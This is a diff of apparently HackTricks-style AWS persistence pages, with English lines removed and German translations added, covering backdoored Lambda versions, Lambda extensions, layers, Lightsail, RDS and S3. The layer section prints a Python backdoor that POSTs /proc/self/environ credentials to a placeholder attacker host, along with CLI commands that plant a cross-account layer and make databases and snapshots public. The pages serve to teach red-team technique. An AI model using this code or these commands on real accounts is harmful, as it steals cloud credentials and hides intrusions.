Eine Lambda kann **verschiedene Versionen** haben (mit unterschiedlichem Code in jeder Version).\
|
||||
Dann können Sie **verschiedene Aliase mit unterschiedlichen Versionen** der Lambda erstellen und jedem unterschiedliche Gewichte zuweisen.\
|
||||
Auf diese Weise könnte ein Angreifer eine **hintertürige Version 1** und eine **Version 2 mit nur dem legitimen Code** erstellen und **nur die Version 1 in 1%** der Anfragen ausführen, um stealthy zu bleiben.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Kopiere den ursprünglichen Code der Lambda
|
||||
2. **Erstelle eine neue Version, die den** ursprünglichen Code hintertürt (oder nur mit bösartigem Code). Veröffentliche und **deploye diese Version** auf $LATEST
|
||||
1. Rufe das API-Gateway auf, das mit der Lambda verbunden ist, um den Code auszuführen
|
||||
3. **Erstelle eine neue Version mit dem ursprünglichen Code**, veröffentliche und deploye diese **Version** auf $LATEST.
|
||||
1. Dies wird den hintertürigen Code in einer vorherigen Version verbergen
|
||||
4. Gehe zum API Gateway und **erstelle eine neue POST-Methode** (oder wähle eine andere Methode), die die hintertürige Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Beachte das finale :1 der arn **das die Version der Funktion angibt** (Version 1 wird in diesem Szenario die hintertürige sein).
|
||||
5. Wähle die erstellte POST-Methode aus und wähle in Aktionen **`API bereitstellen`**
|
||||
6. Jetzt, wenn du **die Funktion über POST aufrufst, wird deine Hintertür** aktiviert
|
||||
|
||||
### Cron/Event actuator
|
||||
### Cron/Event-Aktuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Die Tatsache, dass du **Lambda-Funktionen ausführen kannst, wenn etwas passiert oder wenn etwas Zeit vergeht**, macht Lambda zu einer schönen und gängigen Möglichkeit, Persistenz zu erlangen und Erkennung zu vermeiden.\
|
||||
Hier sind einige Ideen, um deine **Präsenz in AWS stealthy zu gestalten, indem du Lambdas erstellst**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerschlüssel und sendet ihn an den Angreifer.
|
||||
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda den kompromittierten Benutzern die Berechtigung, Rollen zu übernehmen.
|
||||
- Jedes Mal, wenn neue CloudTrail-Protokolle generiert werden, lösche/ändere sie.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Missbrauch von Lambda-Erweiterungen
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda-Erweiterungen
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda-Erweiterungen verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Erweiterungen, die über [.zip-Archive mit Lambda-Schichten](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) hinzugefügt oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) enthalten sind, arbeiten in zwei Modi: **intern** und **extern**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Interne Erweiterungen** fusionieren mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**.
|
||||
- **Externe Erweiterungen** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Für weitere Informationen darüber, [**wie Lambda-Erweiterungen funktionieren, siehe die Dokumentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Externe Erweiterung für Persistenz, Stehlen von Anfragen & Modifizieren von Anfragen
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Dies ist eine Zusammenfassung der Technik, die in diesem Beitrag vorgeschlagen wird: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Es wurde festgestellt, dass der Standard-Linux-Kernel in der Lambda-Laufzeitumgebung mit den Systemaufrufen “**process_vm_readv**” und “**process_vm_writev**” kompiliert ist. Und alle Prozesse laufen mit derselben Benutzer-ID, selbst der neue Prozess, der für die externe Erweiterung erstellt wurde. **Das bedeutet, dass eine externe Erweiterung vollen Lese- und Schreibzugriff auf den Heap-Speicher von Rapid hat, per Design.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
Darüber hinaus haben Lambda-Erweiterungen die Fähigkeit, **sich für Aufrufereignisse anzumelden**, jedoch gibt AWS die Rohdaten nicht an diese Erweiterungen weiter. Dies stellt sicher, dass **Erweiterungen keinen Zugriff auf sensible Informationen** haben, die über die HTTP-Anfrage übertragen werden.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Der Init (Rapid)-Prozess überwacht alle API-Anfragen unter [http://127.0.0.1:9001](http://127.0.0.1:9001/), während Lambda-Erweiterungen initialisiert und vor der Ausführung von Laufzeitcode, aber nach Rapid, ausgeführt werden.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **Kindlaufzeitprozesse** und zusätzliche Erweiterungen weiter.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**Man-in-the-Middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Da **Erweiterungen vor jedem Laufzeitcode** ausgeführt werden, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** zu stehlen und sie sogar **zu modifizieren**.
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,79 +4,72 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Ein Lambda-Layer ist ein .zip-Dateiarchiv, das **zusätzlichen Code** oder andere Inhalte **enthalten kann**. Ein Layer kann Bibliotheken, eine [benutzerdefinierte Laufzeit](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), Daten oder Konfigurationsdateien enthalten.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
Es ist möglich, bis zu **fünf Layers pro Funktion** einzuschließen. Wenn Sie einen Layer in einer Funktion einfügen, werden die **Inhalte im Verzeichnis `/opt`** der Ausführungsumgebung extrahiert.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
Standardmäßig sind die **Layers**, die Sie erstellen, **privat** für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten **teilen** oder den Layer **öffentlich** machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen **die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde**. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Schichten** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
> Wenn es einem Angreifer gelingt, eine verwendete Lambda **Schicht** zu **backdoor** oder eine hinzuzufügen, die **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jedem Lambda-Aufruf bösartigen Code ausführen.
|
||||
|
||||
Therefore, the requisites are:
|
||||
Daher sind die Voraussetzungen:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
- **Überprüfen Sie Bibliotheken**, die vom Code der Opfer **geladen** werden
|
||||
- Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Schichten**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**.
|
||||
|
||||
### Preloaded libraries
|
||||
### Vorgebundene Bibliotheken
|
||||
|
||||
> [!WARNING]
|
||||
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
> Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind **bereits geladen**, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie `os` oder `sys` zu finden, aber **sogar die `json`-Bibliothek war geladen**.\
|
||||
> Um diese Persistenztechnik auszunutzen, muss der Code eine **neue Bibliothek laden, die nicht geladen ist**, wenn der Code ausgeführt wird.
|
||||
|
||||
Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, im Python-Laufzeitumfeld in Lambda zu erhalten:
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
Und dies ist die **Liste** (überprüfen Sie, ob Bibliotheken wie `os` oder `json` bereits vorhanden sind)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
Und dies ist die Liste der **Bibliotheken**, die **lambda standardmäßig installiert**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
In diesem Beispiel nehmen wir an, dass der angezielte Code **`csv`** importiert. Wir werden **den Import der `csv`-Bibliothek backdooren**.
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
Um dies zu tun, werden wir das Verzeichnis **csv** mit der Datei **`__init__.py`** darin in einem Pfad erstellen, der von lambda geladen wird: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Dann, wenn die lambda ausgeführt wird und versucht, **csv** zu laden, wird unsere **`__init__.py`-Datei geladen und ausgeführt**.\
|
||||
Diese Datei muss:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- Unser Payload ausführen
|
||||
- Die originale csv-Bibliothek laden
|
||||
|
||||
Wir können beides mit:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
Dann erstellen Sie ein Zip mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie es als Lambda-Schicht hinzu.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
Sie finden diesen Code unter [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
Die integrierte Payload wird **die IAM-Credentials an einen Server SENDEN, BEIM ERSTEN AUFRUF oder NACH EINEM RESET DES LAMBDA-Containers** (Änderung des Codes oder kaltes Lambda) senden, aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### Externe Schichten
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
Es ist zu beachten, dass es möglich ist, **Lambda-Schichten von externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht von einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\
|
||||
Es ist auch zu beachten, dass die **maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt**.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern:
|
||||
|
||||
- Eine bestehende Schicht des Benutzers backdoor (nichts ist extern)
|
||||
- **Eine** **Schicht** in **seinem Konto** erstellen, dem **Opferkonto Zugriff** auf die Verwendung der Schicht gewähren, die **Schicht** im Lambda des Opfers **konfigurieren** und die **Berechtigung entfernen**.
|
||||
- Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Rev-Shell innerhalb des Lambdas).
|
||||
- Das Opfer **wird keine externen Schichten** sehen, die mit **`aws lambda list-layers`** verwendet werden.
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
@@ -12,26 +12,22 @@ For more information check:
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
Sie werden wahrscheinlich nicht geändert, daher ist es eine gute Option, sie zu haben, um Persistenz zu gewährleisten.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key**
|
||||
- Expose a port with port knocking with a backdoor
|
||||
- Zum Beispiel mit einem traditionellen **rootkit**
|
||||
- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels**
|
||||
- Einen Port mit Portknocking und einer Hintertür exponieren
|
||||
|
||||
### DNS persistence
|
||||
|
||||
If domains are configured:
|
||||
Wenn Domains konfiguriert sind:
|
||||
|
||||
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **subdomain takeover** haben
|
||||
- Erstellen Sie einen **SPF**-Eintrag, der es Ihnen ermöglicht, **E-Mails** von der Domain zu senden
|
||||
- Konfigurieren Sie die **Hauptdomain-IP auf Ihre eigene** und führen Sie einen **MitM** von Ihrer IP zu den legitimen durch
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
# AWS - RDS Persistenz
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
### Instanz öffentlich zugänglich machen: `rds:ModifyDBInstance`
|
||||
|
||||
Ein Angreifer mit dieser Berechtigung kann **eine vorhandene RDS-Instanz ändern, um die öffentliche Zugänglichkeit zu aktivieren**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Erstellen Sie einen Admin-Benutzer in der DB
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass er, selbst wenn das Passwort des Master-Benutzers geändert wird, **den Zugriff** auf die Datenbank **nicht verliert**.
|
||||
|
||||
### Snapshot öffentlich machen
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Für weitere Informationen siehe:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
### KMS Client-Seitige Verschlüsselung
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er wird **den generierten verschlüsselten Schlüssel in den Metadaten** der Datei speichern ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel zur Verschlüsselung anderer Dateien wiederverwendet wird, kann er ihn verwenden.
|
||||
|
||||
### Using S3 ACLs
|
||||
### Verwendung von S3 ACLs
|
||||
|
||||
